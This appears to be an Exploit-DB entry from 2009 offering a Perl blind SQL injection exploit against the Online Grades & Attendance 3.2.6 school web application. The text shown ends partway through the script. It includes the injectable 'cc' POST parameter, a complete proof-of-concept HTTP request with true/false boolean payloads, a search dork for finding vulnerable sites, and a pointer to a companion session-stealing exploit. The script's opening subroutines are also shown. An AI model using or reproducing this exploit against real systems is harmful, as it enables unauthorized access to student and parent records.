Exploit-DB #8854
Description: Online Grades & Attendance 3.2.6 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-06-02
Author: YEnH4ckEr

Exploit:
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                          ÃÂ¡VIVA SPAIN!...ÃÂ¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					  ÃÂ¡PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|                            (Post Form --> 'cc') Blind (SQLi) EXPLOIT	                      |
#|--------------------------------------------------------------------------------------------|
#|                           |    Online Grades & Attendance v-3.2.6   |		      |
#|  CMS INFORMATION:          -----------------------------------------	               	      |
#|										              |
#|-->WEB: http://www.onlinegrades.org/			          			      |
#|-->DOWNLOAD: http://www.onlinegrades.org/		                  		      |
#|-->DEMO: http://www.onlinegrades.org/demo_info					      |
#|-->CATEGORY: CMS / Education								      |
#|-->DESCRIPTION: Online Grades is based on the project, Basmati. It has all of the same      |
#|		features plus many new features. OG is a web based grade...		      |
#|-->RELEASED: 2009-02-05								      |
#|											      |
#|  CMS VULNERABILITY:									      |
#|											      |
#|-->TESTED ON: firefox 3						                      |
#|-->DORK: "Powered by Online Grades"						              |
#|-->CATEGORY: BLIND SQL INJECTION EXPLOIT					              |
#|-->AFFECT VERSION: <= 3.2.6						 		      |
#|-->Discovered Bug date: 2009-05-21							      |
#|-->Reported Bug date: 2009-05-21							      |
#|-->Fixed bug date: Not fixed								      |
#|-->Info patch: Not fixed							              |
#|-->Author: YEnH4ckEr									      |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							      |
#|-->WEB/BLOG: N/A									      |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		      |
#----------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#gpc_magic_quotes=OFF
#
#-------
#NEED:
#-------
#
#Valid registered parent (PHPSESSID) (Use parent stealer --> http://www.milw0rm.com/exploits/8843)
#
#Used this post info --> TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://www.onlinegrades.org/demo/parents/parents.php?func=showteachermemo HTTP/1.1
#Host: www.onlinegrades.org
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/[PII_REDACTED] Firefox/3.0.10 Paros/3.2.13
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
#Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
#Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
#Keep-Alive: 300
#Proxy-Connection: keep-alive
#Referer: http://www.onlinegrades.org/demo/parents/parents.php?func=showreportcard
#Cookie: SESS82c464aff4a6373c38ca1d81df10661e=li1lag4844furho010a5ok8uq7; PHPSESSID=2ofepluotebqj7qu009qskaeg7
#Content-Type: application/x-www-form-urlencoded
#Content-length: 72
#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101'+AND+1=1# --> TRUE
#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101'+AND+1=0# --> FALSE
#
##############################################################################
##############################################################################
##**************************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!         ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title Online Grades Attendance v-3.2.6 Blind SQL Injection Exploit");
		system ("color 04");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0;